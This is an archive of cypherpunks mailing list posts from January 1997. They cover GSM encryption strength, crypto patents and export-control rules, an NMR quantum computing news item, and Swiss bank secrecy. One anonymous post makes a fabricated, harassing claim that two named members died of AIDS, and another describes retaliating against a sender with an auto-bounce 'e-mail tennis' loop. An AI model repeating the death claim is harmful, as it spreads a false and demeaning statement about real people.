From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Tue, 21 Jan 1997 08:59:56 -0800 (PST)
To: "'aba@dcs.ex.ac.uk>
Subject: Re: Newt's phone calls
Message-ID: <01BC0792.3DE1F750@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Adam Back <aba@dcs.ex.ac.uk> wrote in article <5bp18k$1cc@life.ai.mit.edu>...

> GSM encrypts only the links to the station - the traffic goes in the
> clear through the station.  Plus A5 (crypto algorithm used in GSM) is
> weak, 40 bits of effective key space.
> 
> It could be worse to have poor crypto, than no crypto,

I disagree for two reasons, first there is a big difference between having
poor locks and no locks. Most locks can be picked by an expert, they are
effective against many theifs however.

Second if everyone in the world was using 40 bit email encryption it
would prevent most of the "promiscuous" interception of communications.

The danger in weak crypto is thinking that it is strong crypto. GSM is
weak crypto but stops the type of snooping the Martins engaged in.
If you know not to talk about something secret on one then low
crypto is better than having a signal anyone can pick up on a 
device from radio shack.

		Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bovine Remailer <haystack@holy.cow.net>
Date: Mon, 20 Jan 1997 10:03:16 -0800 (PST)
To: cypherpunks-outgoing-ksiuw@toad.com
Subject: Gilmore and Sandfart (spit) died of AIDS
Message-ID: <199701201745.MAA03130@holy.cow.net>
MIME-Version: 1.0
Content-Type: text/plain


that's why there is no traffic.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 21 Jan 1997 07:11:33 -0800 (PST)
To: orwant@media.mit.edu
Subject: Re: Disseminating public-key crypto source code
Message-ID: <199701211511.HAA07025@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:11 PM 1/20/97 -0500, Jon Orwant wrote:

>	2) PKPesque: Using public-key crypto is an infringement,
>		     although disseminating/possessing the source
>		     code is not.

Disseminating (and even writing) the source code may be an infringement. 35
USC 271 says:

"Infringement of patent

(a) Except as otherwise provided in this title, whoever without authority
makes, uses, or sells any patented invention, within the United States
during the term of the patent therefor, infringes the patent.

(b) Whoever actively induces infringement of a patent shall be liable as an
infringer.

(c) Whoever sells a component of a patented machine, manufacture,
combination or composition, or a material or apparatus for use in
practicing a patented process, constituting a material part of the
invention, knowing the same to be especially made or especially adapted for
use in an infringement of such patent, and not a staple article or
commodity of commerce suitable for substantial noninfringing use, shall be
liable as a contributory infringer. [...]"

Sorry. Software/algorithm patents make it difficult to develop and
distribute free software. If that pisses you off, tell your congresspeople
you don't like software/algorithm patents. Perhaps someday Congress will
develop a sensible scheme for "protecting" creators' rights in their
software. But they haven't yet.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 20 Jan 1997 03:53:37 -0800 (PST)
To: "'John Gilmore'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=gnu+40toad+2Ecom+3B@chemson.com>
Subject: RE: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970120115756Z-358@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore wrote:
>
>>Welcome to (what I hope is) a more useful and less confrontative
>>cypherpunks list.  Now, can we get back to talking about cryptography?
> 
>	
"can we get 'BACK' to talking about cryptography?"
You seem to have misspelled START.

>Scott




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Mon, 20 Jan 1997 08:13:29 -0800 (PST)
To: "'John Gilmore'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=gnu+40toad+2Ecom+3B@chemson.com>
Subject: RE: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <199701201613.IAA12456@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



John Gilmore wrote:
>
>>Welcome to (what I hope is) a more useful and less confrontative
>>cypherpunks list.  Now, can we get back to talking about cryptography?
> 
>	
"can we get 'BACK' to talking about cryptography?"
You seem to have misspelled START.

>Scott





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 13:00:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701202100.NAA17730@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:38 PM 1/19/97 -0600, snow wrote:

>    x=0;
>    x1=0;
>    x++;
>    x--;
>  
>    Would give you all int's, the only problem you have is granularity.

Nice, but you have a typo, the result would be the same as x is both
incremented and decremented before it can be output.
I am assumming that the second block of code has it right.

>    x=0.00000000001;
>    y=0.00000000001;
>    x1=x;
>    x=x+y;
>    x1=x1-y;

Also, I am assumming that the increment, decrement portion of the code
should be in a loop.  Otherwise this will result in exactly one value for x,
and one for x1.

The output of the first block is x=1, x1=0.
The output of the second block is x=0.00000000002, y=0.00000000001,
x1=0.00000000000.

Also, the code does have other errors that don't "ring any bells" as they
allow the mind to figure out what your intent is.  Not unlike the many
complaints in "The Far Side" where everyone complains that it is the female
mosquito that bites people while ignoring that no mosquito has ever
willingly walked into an appropiately scaled house wearing a hat.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Mon, 20 Jan 1997 13:42:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: I beg you, PLEASE prove that 0.123456789101112131415 is IRRATIONAL
Message-ID: <199701202142.NAA19097@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:38 PM 1/19/97 -0600, snow wrote:

>    x=0;
>    x1=0;
>    x++;
>    x--;
>  
>    Would give you all int's, the only problem you have is granularity.

Nice, but you have a typo, the result would be the same as x is both
incremented and decremented before it can be output.
I am assumming that the second block of code has it right.

>    x=0.00000000001;
>    y=0.00000000001;
>    x1=x;
>    x=x+y;
>    x1=x1-y;

Also, I am assumming that the increment, decrement portion of the code
should be in a loop.  Otherwise this will result in exactly one value for x,
and one for x1.

The output of the first block is x=1, x1=0.
The output of the second block is x=0.00000000002, y=0.00000000001,
x1=0.00000000000.

Also, the code does have other errors that don't "ring any bells" as they
allow the mind to figure out what your intent is.  Not unlike the many
complaints in "The Far Side" where everyone complains that it is the female
mosquito that bites people while ignoring that no mosquito has ever
willingly walked into an appropiately scaled house wearing a hat.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 20 Jan 1997 11:06:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quantum computers/Java of a different sort
Message-ID: <32E3C19A.C48@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain

For all you quantum computer fans, see 

	http://sciencenow.sciencemag.org/html/970117c.htm
-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^


To: java@tivoli.com
Subject: ScienceNOW www.sciencenow.org
From: jchou@tivoli.com
Date: Mon, 20 Jan 1997 12:49:39 -0500







jchou@tivoli.com
01/20/97 12:49 PM





An advance in Java computing...

http://sciencenow.sciencemag.org/html/970117c.htm



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Friday, 17 January 1997, 7:00 p.m.
</FONT></P><P ALIGN="Center"><FONT SIZE="+1"><STRONG>
Quantum Computer in a Cup of Joe?<p>
</STRONG></FONT></P>



<p>
Researchers have come up with a way to turn coffee and other mundane
liquids into primitive quantum computers. The findings, reported in today's
 <i>Science</i> and in an upcoming issue of the <i>Proceedings of the
National Academy of Sciences</i>, suggest a new approach toward conquering
the Mount Everest of computing: a quantum computer that in a few seconds
could perform calculations that would take billions of years on an ordinary
 supercomputer.<p>
<A NAME="image1"><!--null--></A><P><HR>
<IMG ALT="Illustration" BORDER=1 ALIGN=LEFT HSPACE=20 VSPACE=10
SRC="970117-2.gif">
<BR CLEAR=ALL>
<STRONG>Fresh-brewed. </STRONG>A prototype tabletop NMR quantum computer,
showing the circuitry and the radio-frequency coil.<P>
<FONT SIZE=-2>JOSHUA SMITH</FONT><BR>
<HR><P>The key is nuclear magnetic resonance (NMR), a technique for
manipulating and measuring the spins of atomic nuclei that is already a
mainstay of medical imaging and chemical analysis. The up-or-down spin of
nuclei offers the two-bit logic system that a computer needs. What makes a
quantum computer special, however, is quantum parallelism. In the strange
world of quantum mechanics, the spin of a nucleus can be in both states,
representing both bits, at the same time. That property should permit a
quantum computer to perform calculations on incredibly large numbers of
bits at once. And Neil Gershenfeld of the Massachusetts Institute of
Technology and Isaac Chuang of the University of California, Santa Barbara,
 and a second team, Tim Havel and Amr Fahmy of Harvard Medical School and
David Cory of MIT, have found that it's easier to achieve this parallelism
by using NMR in an ordinary liquid than in the exotic systems researchers
have tried so far.<p>
Cory, Fahmy, and Havel have actually built quantum circuits using a
standard NMR spectrometer, while Gershenfeld and Chuang are gearing up
experiments and hope to demonstrate quantum circuits and maybe even a
simple computation by next summer. What can be done now can be done with
easily available and affordable equipment--&quot;off-the-shelf coffee cups,
off-the
-shelf liquids, off-the-shelf magnets, etc.,&quot; says MIT computer
scientist Seth Lloyd.<p> &quot;This NMR scheme is pretty slick stuff, but
in the long run, they're going to have to find a particularly special
molecule or state that allows them to extend it to large numbers,&quot;
says Chris Monroe of the National Institute of Standards and Technology.<p>
Indeed, the researchers note that fundamental obstacles may prevent the
scheme from ever producing a practical computer. But &quot;from the point
of view of verifying the basic ideas and doing interesting physics,&quot;
says Lloyd, a pioneer theorist in quantum computing, &quot;it's
fantastic.&quot; For more details, <i>Science</i> Online subscribers can
link to the <a
href="http://www.sciencemag.org/cgi/content/full/275/5298/307">News
story</a> in today's <i>Science</i>.<p>
<p>



<P ALIGN="CENTER"><A
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 20 Jan 1997 13:43:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Quantum computers/Java of a different sort
Message-ID: <199701202143.NAA19177@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


For all you quantum computer fans, see 

	http://sciencenow.sciencemag.org/html/970117c.htm
-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^

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jchou@tivoli.com
01/20/97 12:49 PM





An advance in Java computing...

http://sciencenow.sciencemag.org/html/970117c.htm



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<P ALIGN="RIGHT"><FONT SIZE="-1">
Friday, 17 January 1997, 7:00 p.m.
</FONT></P><P ALIGN="Center"><FONT SIZE="+1"><STRONG>
Quantum Computer in a Cup of Joe?<p>
</STRONG></FONT></P>



<p>
Researchers have come up with a way to turn coffee and other mundane
liquids into primitive quantum computers. The findings, reported in today's
 <i>Science</i> and in an upcoming issue of the <i>Proceedings of the
National Academy of Sciences</i>, suggest a new approach toward conquering
the Mount Everest of computing: a quantum computer that in a few seconds
could perform calculations that would take billions of years on an ordinary
 supercomputer.<p>
<A NAME="image1"><!--null--></A><P><HR>
<IMG ALT="Illustration" BORDER=1 ALIGN=LEFT HSPACE=20 VSPACE=10
SRC="970117-2.gif">
<BR CLEAR=ALL>
<STRONG>Fresh-brewed. </STRONG>A prototype tabletop NMR quantum computer,
showing the circuitry and the radio-frequency coil.<P>
<FONT SIZE=-2>JOSHUA SMITH</FONT><BR>
<HR><P>The key is nuclear magnetic resonance (NMR), a technique for
manipulating and measuring the spins of atomic nuclei that is already a
mainstay of medical imaging and chemical analysis. The up-or-down spin of
nuclei offers the two-bit logic system that a computer needs. What makes a
quantum computer special, however, is quantum parallelism. In the strange
world of quantum mechanics, the spin of a nucleus can be in both states,
representing both bits, at the same time. That property should permit a
quantum computer to perform calculations on incredibly large numbers of
bits at once. And Neil Gershenfeld of the Massachusetts Institute of
Technology and Isaac Chuang of the University of California, Santa Barbara,
 and a second team, Tim Havel and Amr Fahmy of Harvard Medical School and
David Cory of MIT, have found that it's easier to achieve this parallelism
by using NMR in an ordinary liquid than in the exotic systems researchers
have tried so far.<p>
Cory, Fahmy, and Havel have actually built quantum circuits using a
standard NMR spectrometer, while Gershenfeld and Chuang are gearing up
experiments and hope to demonstrate quantum circuits and maybe even a
simple computation by next summer. What can be done now can be done with
easily available and affordable equipment--&quot;off-the-shelf coffee cups,
off-the
-shelf liquids, off-the-shelf magnets, etc.,&quot; says MIT computer
scientist Seth Lloyd.<p> &quot;This NMR scheme is pretty slick stuff, but
in the long run, they're going to have to find a particularly special
molecule or state that allows them to extend it to large numbers,&quot;
says Chris Monroe of the National Institute of Standards and Technology.<p>
Indeed, the researchers note that fundamental obstacles may prevent the
scheme from ever producing a practical computer. But &quot;from the point
of view of verifying the basic ideas and doing interesting physics,&quot;
says Lloyd, a pioneer theorist in quantum computing, &quot;it's
fantastic.&quot; For more details, <i>Science</i> Online subscribers can
link to the <a
href="http://www.sciencemag.org/cgi/content/full/275/5298/307">News
story</a> in today's <i>Science</i>.<p>
<p>



<P ALIGN="CENTER"><A
HREF="http://www.sciencemag.org/science/home/copyright.shtml"><FONT
SIZE="-1">&copy; 1997 by the American Association for the Advancement of
Science</FONT></A></P>
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--------------32AF54C4607C--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Orwant <orwant@media.mit.edu>
Date: Mon, 20 Jan 1997 11:18:09 -0800 (PST)
To: cryptography@c2.net
Subject: Disseminating public-key crypto source code
Message-ID: <199701201918.LAA15713@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I've written a few Perl routines for public-key cryptography.  I'd
like to freely disseminate the source code (starting with ElGamal) to
as many people as I can,

It's my understanding that there are two orthogonal restrictions:

	1) ITAResque: I can't give code to non-U.S. citizens.
	2) PKPesque: Using public-key crypto is an infringement,
		     although disseminating/possessing the source
		     code is not.

While I'm sure these are oversimplifications, it would seem that I can
release my source code over the Internet provided I install a simple
verification mechanism (cf. MIT's PGP distribution) to ensure that
only people claiming to be U.S. citizens have access privileges.

Am I correct?  If so, why aren't more people doing this?

Jon Orwant
MIT Media Lab
orwant@media.mit.edu












From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Butler, Scott" <SButler@chemson.com>
Date: Mon, 20 Jan 1997 04:17:07 -0800 (PST)
To: "'cypherpunks'" <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@chemson.com>
Subject: FW: AUTO ANSWER MESSAGE.
Message-ID: <c=GB%a=_%p=CHEMSON%l=CSH_NT0-970120122115Z-363@csa-ntx.chemson.com>
MIME-Version: 1.0
Content-Type: text/plain


I have set up an autoresponder to bounce back all of this jerks
responses.

Like a game of e-mail tennis !
I'm sure that he will get sick before I do !

Scott


>----------
>From: 	Gerardo_NUNO@bourns.com[SMTP:Gerardo_NUNO@bourns.com]
>Sent: 	17 January 1997 18:38
>To: 	Butler, Scott
>Subject: 	AUTO ANSWER MESSAGE.
>
>  
>
>


ŒŠFrom       : "Gerardo NUNO"@[PRCL/01]


Please check  the name and e-mail address of the person that you're
looking. Since gerardo_nuno is out of the system temporary.

attn. System Administration.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Butler, Scott <SButler@chemson.com>
Date: Mon, 20 Jan 1997 08:26:24 -0800 (PST)
To: "'cypherpunks'"    <IMCEAX400-c=GB+3Ba=+20+3Bp=CHEMSON+3Bo=CSH+3Bdda+3ASMTP=cypherpunks+40toad+2Ecom+3B@chemson.com>
Subject: FW: AUTO ANSWER MESSAGE.
Message-ID: <199701201626.IAA12832@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I have set up an autoresponder to bounce back all of this jerks
responses.

Like a game of e-mail tennis !
I'm sure that he will get sick before I do !

Scott


>----------
>From: 	Gerardo_NUNO@bourns.com[SMTP:Gerardo_NUNO@bourns.com]
>Sent: 	17 January 1997 18:38
>To: 	Butler, Scott
>Subject: 	AUTO ANSWER MESSAGE.
>
>  
>
>

------ =_NextPart_000_01BC06CB.51582470
Content-Type: TEXT/PLAIN; NAME="/HPOFFICE/NETMAIL/C1738354.txt"
Content-Transfer-Encoding: QUOTED-PRINTABLE
Content-ID: <Pine.SUN.3.91.970120081000.9885T@crl6.crl.com>

=8C=8D=8AFrom       : "Gerardo NUNO"@[PRCL/01]
------ =_NextPart_000_01BC06CB.51582470
Content-Type: TEXT/PLAIN; NAME="/HPOFFICE/NETMAIL/C1738355.txt"
Content-ID: <Pine.SUN.3.91.970120081000.9885U@crl6.crl.com>


Please check  the name and e-mail address of the person that you're
looking. Since gerardo_nuno is out of the system temporary.

attn. System Administration.

------ =_NextPart_000_01BC06CB.51582470--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 13:41:16 -0800 (PST)
To: Nurdane Oksas <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <3.0.32.19970120132632.006e91cc@192.100.81.126>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 20 Jan 1997 13:56:08 -0800 (PST)
To: Nurdane Oksas <aba@dcs.ex.ac.uk>
Subject: Re: GSM technology
Message-ID: <199701202156.NAA19603@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:43 AM 1/20/97 -0500, Nurdane Oksas wrote:
>	Does anyone use ADSL lines?  or are they still very expensive?

I just had a very interesting talk with somebody from Northern Telecom (Canada's Phone Company). NorTel has apparently skipped ISDN and is now deploying ADSL. Some areas already have access to ADSL at, can you believe this, $60/month.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred
   Make your mark in the history of mathematics. Use the spare cycles of
   your PC/PPC/UNIX box to help find a new prime.
   http://www.mersenne.org/prime.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 20 Jan 1997 13:56:56 -0800 (PST)
To: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Subject: Re: Question on Diffie-Hellman patent
In-Reply-To: <9701202135.AA00489@ch1d157nwk>
Message-ID: <Pine.SUN.3.91.970120134455.24006S-100000@crl3.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, Andrew Loewenstern wrote:

> Tim Dierks writes:
> > Here's a summary of some relevant crypto patents:
> >
> > Name             Number     Filed          Issued          Expires
> >
> > Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> > Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> > RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000
> 
> So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
> celebrating?  :-)

I'll call dibs on that.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl8.crl.com>
Date: Mon, 20 Jan 1997 14:25:49 -0800 (PST)
To: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Subject: Re: Question on Diffie-Hellman patent
Message-ID: <199701202225.OAA20788@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 20 Jan 1997, Andrew Loewenstern wrote:

> Tim Dierks writes:
> > Here's a summary of some relevant crypto patents:
> >
> > Name             Number     Filed          Issued          Expires
> >
> > Diffie-Hellman   4,200,770  Sept. 6, 1977  Apr. 29, 1980   Sept. 6, 1997
> > Hellman-Merkle   4,218,582  Oct. 6, 1977   Aug. 19, 1980   Oct. 6, 1997
> > RSA              4,405,829  Dec. 14, 1977  Sept. 20, 1983  Sept. 20, 2000
> 
> So who's planning on throwing a big party on Sept. 6th?  Will Jim Bizos be  
> celebrating?  :-)

I'll call dibs on that.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 20 Jan 1997 11:01:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Prayer For Swiss Banks
Message-ID: <3.0.1.32.19970120135744.017c178c@panix.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This happened a year ago but I couldn't resist posting it in light of the 
current political attacks on the privacy of Swiss banks.

MANILA, Philippines (Feb 24, 1996 9:45 p.m. EST) - Former Philippine first
lady Imelda Marcos presided over a bizarre ceremony on Sunday to mark the 10th
anniversary of the People's Power revolution that forced her and her corrupt husband into ignominious exile.

Marcos -- notorious shopaholic, convicted criminal and now a legally elected
member of the Philippine Congress -- asked God to bless Corazon Aquino and
other leaders of the 1986 revolt.

But she also asked the Almighty to enlighten Swiss bankers holding some of the
estimated $5 billion the Marcoses and their cronies are accused of looting
from the national economy.

"May the Lord enlighten ... the Swiss banks -- that they might uphold justice
and preserve the integrity of their own laws and the laws of confidentiality,
trust and basic decency between the banks and their clients," she said in a
speech.

Two Swiss banks holding some $475 million linked to the Marcoses are currently
embroiled in a row over what to do with the money.

The Philippine government wants it back but a U.S. court has ordered it
distributed to victims of human rights abuses during the late Ferdinand
Marcos's 20 years in power.

*****

DCF


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuPAIIVO4r4sgSPhAQFhSQQAiLrFwcvR0CxiZDrG1f6RSysX8ypxe2y4
Az2MejxFj4ACZIw9lCN98pxRwM8QwEQnCo+RKpMEchurk1bx0EEK749+kxpccsw2
qi+VW1lhBLV38YyzAm0vRwK1pwsKuW/E0UjMOvfTfQynRljohiLvLxQDMJ4DQLHi
qi+R9K2Gpr0=
=wmjK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Mon, 20 Jan 1997 13:45:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: A Prayer For Swiss Banks
Message-ID: <199701202145.NAA19229@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

This happened a year ago but I couldn't resist posting it in light of the 
current political attacks on the privacy of Swiss banks.

MANILA, Philippines (Feb 24, 1996 9:45 p.m. EST) - Former Philippine first
lady Imelda Marcos presided over a bizarre ceremony on Sunday to mark the 10th
anniversary of the People's Power revolution that forced her and her corrupt husband into ignominious exile.

Marcos -- notorious shopaholic, convicted criminal and now a legally elected
member of the Philippine Congress -- asked God to bless Corazon Aquino and
other leaders of the 1986 revolt.

But she also asked the Almighty to enlighten Swiss bankers holding some of the
estimated $5 billion the Marcoses and their cronies are accused of looting
from the national economy.

"May the Lord enlighten ... the Swiss banks -- that they might uphold justice
and preserve the integrity of their own laws and the laws of confidentiality,
trust and basic decency between the banks and their clients," she said in a
speech.

Two Swiss banks holding some $475 million linked to the Marcoses are currently
embroiled in a row over what to do with the money.

The Philippine government wants it back but a U.S. court has ordered it
distributed to victims of human rights abuses during the late Ferdinand
Marcos's 20 years in power.

*****

DCF


-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMuPAIIVO4r4sgSPhAQFhSQQAiLrFwcvR0CxiZDrG1f6RSysX8ypxe2y4
Az2MejxFj4ACZIw9lCN98pxRwM8QwEQnCo+RKpMEchurk1bx0EEK749+kxpccsw2
qi+VW1lhBLV38YyzAm0vRwK1pwsKuW/E0UjMOvfTfQynRljohiLvLxQDMJ4DQLHi
qi+R9K2Gpr0=
=wmjK
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Paul Johnson <mikej2@exabyte.com>
Date: Tue, 21 Jan 1997 07:11:42 -0800 (PST)
To: Jon Orwant <orwant@media.mit.edu>
Subject: Re: Disseminating public-key crypto source code
Message-ID: <199701211511.HAA07045@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 20 Jan 1997, Jon Orwant wrote:

> I've written a few Perl routines for public-key cryptography.  I'd
> like to freely disseminate the source code (starting with ElGamal) to
> as many people as I can,
> 
> It's my understanding that there are two orthogonal restrictions:
> 
> 	1) ITAResque: I can't give code to non-U.S. citizens.
> 	2) PKPesque: Using public-key crypto is an infringement,
> 		     although disseminating/possessing the source
> 		     code is not.
> 
> While I'm sure these are oversimplifications, it would seem that I can
> release my source code over the Internet provided I install a simple
> verification mechanism (cf. MIT's PGP distribution) to ensure that
> only people claiming to be U.S. citizens have access privileges.
> 
> Am I correct?  If so, why aren't more people doing this?

Point 2 is the easier one -- you can research, create, and distribute
patented algorithms for free. It is just in using or selling them that you
need to get a license from the patent holder (directly or indirectly).

Point 1 is a bit muddier, but the new EAR (which replace the ITAR)
actually defines what you need to do to freely distribute cryptographic
software in North America, essentially describing something like MIT's PGP
distribution system and my system at
http://www.sni.net/~mpj/usa/warning.htm (at least as far as is practical):
____

(ii) The export of encryption source code and object code software
controlled for EI reasons under ECCN 5D002 on the Commerce Control List
(see Supplement No. 1 to part 774 of the EAR) includes downloading, or
causing the downloading of, such software to locations (including
electronic bulletin boards, Internet file transfer protocol, and World
Wide Web sites) outside the U.S., or making such software available for
transfer outside the United States, over wire, cable, radio,
electromagnetic, photooptical, photoelectric or other comparable
communications facilities accessible to persons outside the United States,
including transfers from electronic bulletin boards, Internet file
transfer protocol and World Wide Web sites, unless the person making the
software available takes precautions adequate to prevent unauthorized
transfer of such code outside the United States. Such precautions shall
include:
(A) Ensuring that the facility from which the software is available
controls the access to and transfers of such software through such
measures as:
(1) The access control system, either through automated means or
human intervention, checks the address of every system requesting or
receiving a transfer and verifies that such systems are located within the
United States;
(2) The access control system, provides every requesting or
receiving party with notice that the transfer includes or would include
cryptographic software subject to export controls under the Export
Administration Act, and that anyone receiving such a transfer cannot
export the software without a license; and
(3) Every party requesting or receiving a transfer of such software
must acknowledge affirmatively that he or she understands that the
cryptographic software is subject to export controls under the Export
Administration Act and that anyone receiving the transfer cannot export
the software without a license; or
(B) Taking other precautions, approved in writing by the Bureau of
Export Administration, to prevent transfer of such software outside the
U.S. without a license.
____

Point (1) above is done at my site, to something of an approximation, by
using a .htaccess file. I'm working on improving this, some, due to some
server problems, but I think that it is close enough to meet the "such
measures as" criteria, especially since (2) and (3) are met pretty
literally by the mechanism that routinely breaks links that attempt to
bypass the warning page. Of course, this isn't perfect, and no coderpunk
worth his salt would have difficulty bypassing the system if he or she
were inclined to break the law, but it does allow me to post strong
cryptographic software without worrying about breaking the law.

Why don't more people do this? Probably because the law has usually been
even more muddy than the above, and at least as irrational, and because it
is more of a pain than just posting the stuff, which few people want to
flaunt their disregard for the law so publicly.

There is another, better way, to comply with the above using CGI
scripting, but my ISP is reluctant to let me do so, so far.

By the way, there is no automated way to add files to my crypto site,
but if you are interested in posting quality crypto software, libraries,
and documentation (like maybe some DES challenge code or RC5 cracker
code), please email me at mpj@csn.net.

 Michael Paul Johnson      Opinions herein are not necessarily Exabyte's.
 Work:     mpj@exabyte.com http://www.exabyte.com
 Personal: mpj@csn.net     http://www.csn.net/~mpj       BBS 303-772-1062






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: hjk <hjk@ddorf.rhein-ruhr.de>
